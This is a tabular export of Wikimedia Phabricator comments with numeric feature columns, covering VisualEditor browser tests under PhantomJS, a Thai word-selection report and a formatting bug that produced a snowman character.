If :phantomjs is replaced with :firefox, then visual editor opens just fine (see screen shots).",,,1387468303,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,1.0,1.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,10.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,3.0,0.0,4.0,3.0,4.0,0.0,6.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.7435897435897436,"Strange. I am pretty sure PhantomJS has JS. :)

But, this simple script takes screen shot that shows it can not load visual editor.

require ""watir-webdriver""
browser = Watir::Browser.new :phantomjs
browser.goto ""URL
browser.window.resize_to 1280, 1024
browser.screenshot.save ""ve.png""

If :phantomjs is replaced with :firefox, then visual editor opens just fine (see screen shots)."
233661,browsertests: triggers for VisualEditor,"If a browser is not on the blacklist, and meets the functionality criteria, then the edit tabs for VisualEditor should show up. A browser not being on the whitelist just means the user gets a warning when they edit. Adding PhantomJS to the whitelist will not make VisualEditor appear if it doesn't already.

(Also, you can bypass the blacklist with ?veaction=edit&vewhitelist=1 which should trigger VE even if you don't have a functional browser, as long as it has JS.)",,,1387389239,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,5.0,1.0,2.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,11.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,2.0,2.0,2.0,2.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,2.0,0.0,0.0,1.0,1.0,1.0,12.0,2.0,9.0,4.0,1.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,4.0,1.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,4.126315789473685,0.6947368421052632,"If a browser is not on the blacklist, and meets the functionality criteria, then the edit tabs for VisualEditor should show up. A browser not being on the whitelist just means the user gets a warning when they edit. Adding PhantomJS to the whitelist will not make VisualEditor appear if it doesn't already.

(Also, you can bypass the blacklist with ?veaction=edit&vewhitelist=1 which should trigger VE even if you don't have a functional browser, as long as it has JS.)"
233656,browsertests: triggers for VisualEditor,"**jhall** wrote:

Ah, I believe Željko is correct - looks like VE has a whitelist in addition to a blacklist.  See section beginning on line 169 in this file:

https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FVisualEditor/1cd761dad8aed132619c2897abe367404ca8f3ca/modules%2Fve-mw%2Finit%2Ftargets%2Fve.init.mw.ViewPageTarget.js

Will talk to the VE dev team and see if we can get PhantomJS whitelisted.",,,1387388081,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,16.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,3.0,14.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.396551724137931,0.8103448275862069,"**jhall** wrote:

Ah, I believe Željko is correct - looks like VE has a whitelist in addition to a blacklist.  See section beginning on line 169 in this file:

URL

Will talk to the VE dev team and see if we can get PhantomJS whitelisted."
233653,browsertests: triggers for VisualEditor,"Created attachment 14130
phantomjs screen shot

**Attached**: {F11108}",,,1387386995,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8235294117647058,"Created attachment 14130
phantomjs screen shot

**Attached**: {F11108}"
233651,browsertests: triggers for VisualEditor,Looks like phantomjs is blacklisted (or not whitelisted). There is no visual editor edit option (see screen shot).,,,1387386945,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.041666666666667,0.8333333333333334,Looks like phantomjs is blacklisted (or not whitelisted). There is no visual editor edit option (see screen shot).
233649,browsertests: triggers for VisualEditor,"**jhall** wrote:

Looks like it's not a problem with PhantomJS being blacklisted, per the VisualEditor browser blacklist which begins at line 890 of this file:

https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FVisualEditor/b922592902ad57f770b6810566b820aada74aa47/VisualEditor.php

…so I'll spend some more time tomorrow to see if I can figure out why PhantomJS doesn't seem to work as intended even when navigating directly to an ""editing mode"" URL.",,,1387327633,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,3.0,1.0,8.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,5.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,11.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,16.0,7.0,0.0,3.0,0.0,4.0,0.0,4.0,3.0,0.0,1.0,1.0,0.0,0.0,3.7972972972972974,0.8378378378378378,"**jhall** wrote:

Looks like it's not a problem with PhantomJS being blacklisted, per the VisualEditor browser blacklist which begins at line 890 of this file:

URL

…so I'll spend some more time tomorrow to see if I can figure out why PhantomJS doesn't seem to work as intended even when navigating directly to an ""editing mode"" URL."
233646,browsertests: triggers for VisualEditor,"Could it be that phantomjs lack some javascript functionality that would cause VisualEditor to disable itself ?  Might be a browser whitelist as well.  Honestly, I have no clue how it is handled in VisualEditor.",,,1386979767,,PHID-USER-orzyp3dswemhdgdznro5,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,2.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,8.0,15.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,8.0,5.0,2.0,0.0,0.0,10.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,4.425,0.85,"Could it be that phantomjs lack some javascript functionality that would cause VisualEditor to disable itself ?  Might be a browser whitelist as well.  Honestly, I have no clue how it is handled in VisualEditor."
233642,browsertests: triggers for VisualEditor,"**jhall** wrote:

PhantomJS screenshot from VE editing mode URL

Thanks Željko.  I tried modifying the ""anon.feature"" test to navigate directly to the Visual Editor editing URL (?veaction=edit), but from capturing both a screenshot (attached) and the raw HTML that PhantomJS lands on, it does not appear that PhantomJS is successfully entering into Visual Editor editing mode.

In any case, we're getting closer step-by-step, so I'll continue to work on this.

**Attached**: {F11106}",,,1386956370,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.5,0.0,2.5,9.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.5,4.0,0.0,1.0,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,12.5,2.0,1.5,4.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,3.0,9.5,8.0,0.5,1.0,0.0,3.0,0.0,1.0,0.5,0.0,4.0,1.0,0.0,0.0,3.7461038961038957,0.7659090909090909,"**jhall** wrote:

PhantomJS screenshot from VE editing mode URL

Thanks Željko.  I tried modifying the ""anon.feature"" test to navigate directly to the Visual Editor editing URL (?veaction=edit), but from capturing both a screenshot (attached) and the raw HTML that PhantomJS lands on, it does not appear that PhantomJS is successfully entering into Visual Editor editing mode.

In any case, we're getting closer step-by-step, so I'll continue to work on this.

**Attached**: {F11106}"
233638,browsertests: triggers for VisualEditor,"Created attachment 14080
phantomjs screen shot

**Attached**: {F11105}",,,1386926023,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8235294117647058,"Created attachment 14080
phantomjs screen shot

**Attached**: {F11105}"
233633,browsertests: triggers for VisualEditor,"(In reply to comment #6)
> The test case currently does not work with PhantomJS, so I'll spend more time
> tomorrow trying to figure out why PhantomJS can't click into Visual Editor
> editing mode.

In phantomjs, ""edit"" link is not visible by default, see attached screen shot.",,,1386925978,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.212121212121212,0.7878787878787878,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

In phantomjs, ""edit"" link is not visible by default, see attached screen shot."
233628,browsertests: triggers for VisualEditor,"**jhall** wrote:

I went ahead and amended the existing Gerrit ID:

https://gerrit.wikimedia.org/r/#/c/100797/

…with an additional anon test case that edits a random page (which will likely always be the ""Main Page"" for a fresh wiki install).  

The test case currently does not work with PhantomJS, so I'll spend more time tomorrow trying to figure out why PhantomJS can't click into Visual Editor editing mode.",,,1386893033,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,12.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,14.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,8.0,14.0,0.0,2.0,0.0,2.0,0.0,4.0,4.0,0.0,4.0,1.0,0.0,0.0,3.738095238095238,0.8214285714285714,"**jhall** wrote:

I went ahead and amended the existing Gerrit ID:

URL

…with an additional anon test case that edits a random page (which will likely always be the ""Main Page"" for a fresh wiki install).  

The test case currently does not work with PhantomJS, so I'll spend more time tomorrow trying to figure out why PhantomJS can't click into Visual Editor editing mode."
233622,browsertests: triggers for VisualEditor,"Jeff : sure, if you can get a test that roughly does:

 - anonymous user
 - go to main page
 - press Edit (visual editor version)
 - ensure visual editor is loaded

That would be a nice first step that would validate the Jenkins job and VE/Parsoid is properly setup :-)",,,1386847077,,PHID-USER-orzyp3dswemhdgdznro5,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,5.0,10.0,2.0,2.0,5.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,3.0,8.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6129032258064515,0.8064516129032258,"Jeff : sure, if you can get a test that roughly does:

 - anonymous user
 - go to main page
 - press Edit (visual editor version)
 - ensure visual editor is loaded

That would be a nice first step that would validate the Jenkins job and VE/Parsoid is properly setup :-)"
233614,browsertests: triggers for VisualEditor,"**jhall** wrote:

Sorry I wasn't able to get to work on this bug quickly Antoine - let me know if you want me to work on creating a new browser test that will succeed in this scenario (the existing anon test will fail since it presumes the existence of a User page in the target wiki).",,,1386811597,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,15.0,0.0,5.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,6.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,8.0,15.0,9.0,0.0,0.0,0.0,8.0,0.0,2.0,3.0,3.0,3.0,0.0,0.0,0.0,3.5,0.7727272727272727,"**jhall** wrote:

Sorry I wasn't able to get to work on this bug quickly Antoine - let me know if you want me to work on creating a new browser test that will succeed in this scenario (the existing anon test will fail since it presumes the existence of a User page in the target wiki)."
233607,browsertests: triggers for VisualEditor,"And I manage to get VisualEditor + Parsoid to be setup automatically using Jenkins. The related job configuration is pending in https://gerrit.wikimedia.org/r/#/c/100800/ (need to be polished).

I confirmed the wiki is functional and managed to edit a page using VE \O/

Next steps:
* cleanup the job configuration
* make the wiki faster (sqlite is not on tmpfs as an example)
* try to get at least ONE browser test scenario to pass (anon ones are good candidates apparently)",,,1386798514,,PHID-USER-orzyp3dswemhdgdznro5,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,1.0,1.0,5.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,2.0,11.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,1.0,1.0,0.0,3.903225806451613,0.7204301075268817,"And I manage to get VisualEditor + Parsoid to be setup automatically using Jenkins. The related job configuration is pending in URL (need to be polished).

I confirmed the wiki is functional and managed to edit a page using VE \O/

Next steps:
* cleanup the job configuration
* make the wiki faster (sqlite is not on tmpfs as an example)
* try to get at least ONE browser test scenario to pass (anon ones are good candidates apparently)"
233601,browsertests: triggers for VisualEditor,"Change 100797 had a related patch set uploaded by Hashar:
[browser test] cucumber default profile for CI

https://gerrit.wikimedia.org/r/100797",,,1386779767,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.391304347826087,1.0,"Change 100797 had a related patch set uploaded by Hashar:
[browser test] cucumber default profile for CI

GERRIT_URL"
233597,browsertests: triggers for VisualEditor,"**jhall** wrote:

Assigning to myself per an e-mail thread with Antoine, Chris, and Željko.",,,1386701650,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,24.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,3.16,0.84,"**jhall** wrote:

Assigning to myself per an e-mail thread with Antoine, Chris, and Željko."
55679,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"When editing, clicking in the middle of or adjacent to an existing word in Latin, Hebrew, Arabic or Cyrillic scripts (others not tested) and pressing ctrl+k or clicking the link icon selects that word as the suggested sequence that is desired to be linked. When doing the same in Thai text nothing is selected by default.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1378126200,1381269899.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-l4bd6ekvg2ifcspk72da,task_description,invalid,True,c1,3,False,False,False,9,,0.0,0.0,0.0,4.0,1.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,11.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,7.0,0.0,0.0,0.0,4.160493827160494,0.691358024691358,"When editing, clicking in the middle of or adjacent to an existing word in Latin, Hebrew, Arabic or Cyrillic scripts (others not tested) and pressing ctrl+k or clicking the link icon selects that word as the suggested sequence that is desired to be linked. When doing the same in Thai text nothing is selected by default.

--------------------------
**Version**: unspecified
**Severity**: major"
257335,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"This is not a ""bug"" per se - VisualEditor's word boundary detection only works for scripts that use word boundaries. Consequently it doesn't operate on Chinese or Thai (which don't use word boundaries), but does for Korean, Latin and Cyrillic languages, and others (which do).

Theoretically it would be possible to build some code for applying algorithmic word boundary rules for Thai, but that's both complex and slow, so if that is desired it should be opened as an enhancement (and we'd need to see how we can make it only slow down users who are editing in Thai).

Marking as INVALID.",,,1381269899,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l4bd6ekvg2ifcspk72da,task_subcomment,,True,c1,3,True,,,14,,1.0,0.0,0.0,1.5,1.5,3.5,1.5,0.0,0.0,1.0,3.0,2.0,0.0,1.5,0.0,1.5,0.0,4.5,9.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,1.5,0.0,6.0,1.0,2.5,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,9.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,1.0,0.0,1.5,1.0,1.5,3.5,7.5,1.5,5.0,6.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.0,9.0,5.5,0.0,1.0,0.0,4.0,0.0,3.0,1.5,0.0,2.5,0.0,0.0,0.0,3.888888888888889,0.7698412698412698,"This is not a ""bug"" per se - VisualEditor's word boundary detection only works for scripts that use word boundaries. Consequently it doesn't operate on Chinese or Thai (which don't use word boundaries), but does for Korean, Latin and Cyrillic languages, and others (which do).

Theoretically it would be possible to build some code for applying algorithmic word boundary rules for Thai, but that's both complex and slow, so if that is desired it should be opened as an enhancement (and we'd need to see how we can make it only slow down users who are editing in Thai).

Marking as INVALID."
257331,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"I tested with Telugu and Malayalam, and this doesn't happen there. Must be something special with Thai.",,,1380647038,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-l4bd6ekvg2ifcspk72da,task_subcomment,,True,c1,3,False,,,13,,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,"I tested with Telugu and Malayalam, and this doesn't happen there. Must be something special with Thai."
257325,VisualEditor: Selection-expansion doesn't trigger for Thai script text,"Confirmed in Thai Wikipedia and in the English Wikipedia with Thai words.

Furthermore, if you Ctrl-K on a Latin word and then Ctrl-K on a Thai word, the Latin word appears in the input box. See this test case:
https://en.wikipedia.org/wiki/User:Amire80/VE-Thai",,,1380442542,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-l4bd6ekvg2ifcspk72da,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,31.0,2.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,14.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.6470588235294118,"Confirmed in Thai Wikipedia and in the English Wikipedia with Thai words.

Furthermore, if you Ctrl-K on a Latin word and then Ctrl-K on a Thai word, the Latin word appears in the input box. See this test case:
URL"
55642,VisualEditor: Removing formatting from part of a link causes a snowman,"I tried editing [[Fred Pittman]], including adding a comma after a link. The editor auto-added it to the link text, which wasn't what I wanted, so I selected the comma and clicked the remove-formatting button. This replaced the comma with a snowman. Woo!

I'd also say that the auto-link-addition heuristic is a little buggy if it includes commas, but that's maybe just me. :)

--------------------------
**Version**: unspecified
